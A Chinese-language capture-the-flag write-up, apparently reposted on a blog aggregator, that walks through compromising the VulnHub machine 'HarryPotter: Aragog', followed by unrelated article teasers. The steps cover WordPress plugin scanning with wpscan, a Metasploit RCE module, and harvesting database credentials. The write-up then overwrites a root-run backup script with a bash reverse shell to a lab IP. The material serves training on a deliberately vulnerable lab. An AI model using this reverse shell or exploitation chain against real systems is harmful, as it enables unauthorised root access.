Vulnhub项目:Aragog

news2024/11/17 17:50:06

1、靶机地址:

HarryPotter: Aragog (1.0.2) ~ VulnHub

死亡圣器三部曲之第一部,Aragog是海格养的蜘蛛的名字, 并且又牵扯到了密室

2、渗透过程 

确定靶机ip,攻击机ip,扫描靶机开放端口

 只有22,80端口,对80端口进行目录爆破,发现是wordpress框架

 这里给了提示,说明是wordpress plugins存在一些可利用的点

 

 查看源代码,发现域名,打开hosts,将靶机ip与域名进行绑定

下一步就是利用wpscan去扫描查看,这里需要加入api-token才能扫出更多的东西,可以自己去官网注册一个,然后将自己的api-token复制下来就ok 

 wpscan --url http://192.168.56.143/blog --api-token=xxxxx -e p --plugins-detection aggressive

自己去免费注册一个就行WPScan: WordPress Security Scanner

 使用命令进行扫描

 

 

 发现存在的还听很多,这里有个RCE,就用它,可以去查看该漏洞怎么用,反弹shell到kali本地,也可以用msfconsole进行攻击,搜索相关的模块

 选择1,然后进行参数的设定

 完全设置好后,进行run

 攻击成功,建立了连接

 查看uid,然后进入shell,将其变为交互式shell

 进行一番查看,发现了一个用户,hagrid98,里面存在第一个魂器,查看发现是base64编码

 那就解码一下

 RidDlE's DiAry dEstroYed By haRry in chaMbEr of SeCrets

这是伏地魔的那个日记

下一步就是进行提权,wordpress在安装的时候会存在默认配置文件,进行一下搜索,发现了wordpress文件,进入后看到了默认配置文件,配置文件中有账户密码 

 发现了数据库的用户和密码,进入数据库拿一下有用的信息

 发现用户名和密码,密码md5加密,破解下

MD5免费在线解密破解_MD5在线加密-SOMD5

利用ssh远程一下这个用户,连接成功,以该用户进行提取操作,发现没什么东西可以用

 这边利用个提取辅助脚本,进行探测,在本地开启web服务,利用远程ssh,下载提权辅助脚本

对其进行赋权

执行后,没什么太大的发现。换一个提权辅助脚本 

 执行

 

 执行发现了一个备份的脚本,它是在一段时间进行备份操作,执行的用户属性是root,那就直接讲下面反弹shell的代码写入这个备份文件

 echo 'bash -i >& /dev/tcp/192.168.56.136/7899 0>&1'>/opt/.backup.sh

然后执行上面的备份脚本的操作,在kali本地监听,反弹成功,提权至root,发现了第二个魂器 

第一部中存在了两个魂器,自此渗透结束 

3、总结

对于该靶机的渗透进行总结,总体的思路还是收集信息,对可以利用的框架进行漏洞扫描,中间有一些小细节,灵活多变,总体思路不变,最后是在正常的提权步骤下,没有想法了,利用到提权辅助脚本,发现了存在的备份文件。最好还是自己进行提权信息的收集和探测,最后没有办法了,再利用脚本进行辅助。

后续带来哈利波特死亡圣器的第二部和第三部靶机!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/670611.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

盖雅工场荣膺第二届山东人力资源服务创新大赛信息科技创新赛道一等奖

6月20日,第二届山东人力资源服务创新大赛决赛落下帷幕。经过激烈角逐,盖雅工场脱颖而出,荣膺信息科技创新赛道一等奖。 关于第二届山东人力资源服务创新大赛 第二届山东人力资源服务创新大赛是由山东省人力资源和社会保障厅、威海市人民政府…

SpringCloud Alibaba入门之创建多模块工程

一、创建父项目 创建一个父Maven项目,项目命名为myshop,用于管理子模块。 创建项目后,删除src和增加pom设置 二、创建子module 右键父项目,新建module 此我们的子module就创建完成了。接下来如法炮制,创建另外几个子module&…

快速定位jar冲突插件-maven-dependency-helper

于jar冲突,例如在某一项目A中引入了其他项目B的jar,而2个项目用的mybati版本不一致,则导致jar冲突 例如:B项目用mybatis 3.3.2 this.count() 返回值为integer 而 A项目用版本3.5.1中返回值为Long A项目引入B后,部分代码报错:返回值…

使用哪些频率是不需要取得许可的呢?

无线电频率的使用,你知道哪些不需要许可吗?近日,有关无线电频率的知识又成为了网络热议的话题。你是否也对此感到好奇呢? 首先,我们需要了解一些基础知识。无线电频率是电磁频谱的一部分,大多数人都熟悉AM…

Python学习—装饰器的力量

Python学习—装饰器的力量 作为许多语言都存在的高级语法之一,装饰器是你必须掌握的知识点。 Python的装饰器(Decorator)允许你扩展和修改可调用对象(函数、方法和类)的行为,而无需永久修改可调用的对象本身…

买无线耳机什么牌子好?七款好用的无线蓝牙耳机盘点

随着科技的不断进步,蓝牙耳机已经成为了现代生活中不可或缺的伴侣。它们不仅给我们带来了便捷的无线音频体验,还赋予了我们自由移动的能力,让我们可以随时随地沉浸在音乐的海洋中。然而,市场上蓝牙耳机品牌众多、型号繁多&#xf…

win10 安装 langchain-chatglm 避坑指南(2023年6月21日最新版本)

官网看起来安装很简单,网上教程也是,但实际上我耗费了两天时间,查阅了当前网络上所有可查阅的资料,重复「安装-配置-卸载」十几遍,总结出的安装方法。 1、安装Anaconda(这个就不啰嗦了,网上安装…

SpringBoot 一个注解,搞定业务操作日志记录

需求描述与分析 客户侧提出需求很简单:要对几个关键的业务功能进行操作日志记录,即什么人在什么时间操作了哪个功能,操作前的数据报文是什么、操作后的数据报文是什么,必要的时候可以一键回退。 日志在业务系统中是必不可少的一…

父类与子类的上下类型转换

文章目录 前言一、上下类型转换是什么?二、使用方法 1.父类与子类的转换2.instanceof关键字总结 前言 动物有共性的行为,例如吃。狗属于动物中的一类,对于“吃"这种行为,又有自己独特的见解,“吃狗粮”。当我们把…

STM32--基于固件库(Library Faction)的流水灯、静态数码管

目录 一、GPIO介绍 二、基于固件库(Library Faction)的流水灯 三、基于固件库(Library Faction)的静态数码管 一、GPIO介绍 GPIO库函数,对GPIO可进行一些,读写控制的操作,本文章应用的就是…

短视频矩阵是什么?源码搭建技术干货

一、短视频账号矩阵是什么? 短视频账户矩阵实际上是通过一些技术手段将账户和账户连接起来的。这种账户有一定的相关性。通过相互吸引流量,可以扩大账户的影响力,使账户拥有更多的粉丝和更高的价值。短视频账户矩阵属于短视频营销策划的高级…

Python 带你制作自动评论程序,让你喜欢的人一眼看到你

前言 大家早好、午好、晚好吖 ❤ ~欢迎光临本文章 知识点: 动态数据抓包 requests发送请求 开发环境: python 3.8 运行代码 pycharm 2022.3 辅助敲代码 requests pip install requests 第三方模块安装: win R 输入cmd 输入安装命令 pip install 模块名 (…

深入了解CSS颜色架构:提升你的网页设计技巧

微信搜索 【大迁世界】, 我会第一时间和你分享前端行业趋势,学习途径等等。 本文 GitHub https://github.com/qq449245884/xiaozhi 已收录,有一线大厂面试完整考点、资料以及我的系列文章。 快来免费体验ChatGpt plus版本的,我们出的钱 体验地…

【Java】JUC下的常用接口和类

Callable接口ReentrantLock常用的方法创建公平锁创建读写锁唤醒机制ReentrantLock与synchronized的区别 原子类工具类SemaphoreCountDownLatchCyclicBarrier-循环栅栏 线程安全的集合类CopyOnWriteArrayList多线程环境使用队列多线程环境使用哈希表ConcurrentHashMap java.util…

OpenResty 中的 Nginx 基础知识

Nginx 版本 OpenResty 的版本,落后于标准 Nginx 版本不少,所以较新的 Nginx 支持的功能,OpenResty 不一定支持。 Nginx 进程模型 当启动 Nginx 后我们使用 ps 来查看相关进程: $ ps -ef --forest | grep nginx root 32475…

OpenGL超级第12章学习笔记:管线监控

前言 本篇在讲什么 OpenGL蓝宝书第十二章学习笔记之管线监控 本篇适合什么 适合初学OpenGL的小白 本篇需要什么 对C语法有简单认知 对OpenGL有简单认知 最好是有OpenGL超级宝典蓝宝书 依赖Visual Studio编辑器 本篇的特色 具有全流程的图文教学 重实践&#xff0c…

C++编译过程

How the C Compiler works? 文章目录 How the C Compiler works?compilingExamples总结欢迎关注公众号【三戒纪元】 通过编程,是的text程序编程可执行文件,基本上主要有2个操作发生: compiling 编译linking 链接 compiling C 编辑器要做的…

VXLAN:数据中心网络的未来

概要 随着云计算和虚拟化技术的快速发展,数据中心网络正面临着越来越大的挑战。传统的网络架构在适应大规模数据中心的需求方面存在一些限制,如扩展性、隔离性和灵活性等方面。为了克服这些限制,并为数据中心网络提供更好的性能和可扩展性&am…

【好书精读】网络是怎样连接的 之 连接服务器

(该图由AI制作 学习AI绘图 联系我) 目录 1 连接是什么意思 1.1 连接实际上是通信双方交换控制信息 2 负责保存控制信息的头部 2.1 客户端与服务器之间交换的控制信息 连接操作的实际过程 1 连接是什么意思 创建套接字之后 , 应用程序 …

Selenium教程__使用execute_script执行JavaScript(11)

selenium的包含的方法已能完全满足UI自动化,但是有些时候又不得不用到执行JS的情况,比如在一个富文本框中输入1W个字,使用send_keys方法将经历漫长的输入过程,如果换成使用JS的innerHTML方法就能够很快的完成输入。 selenium执行…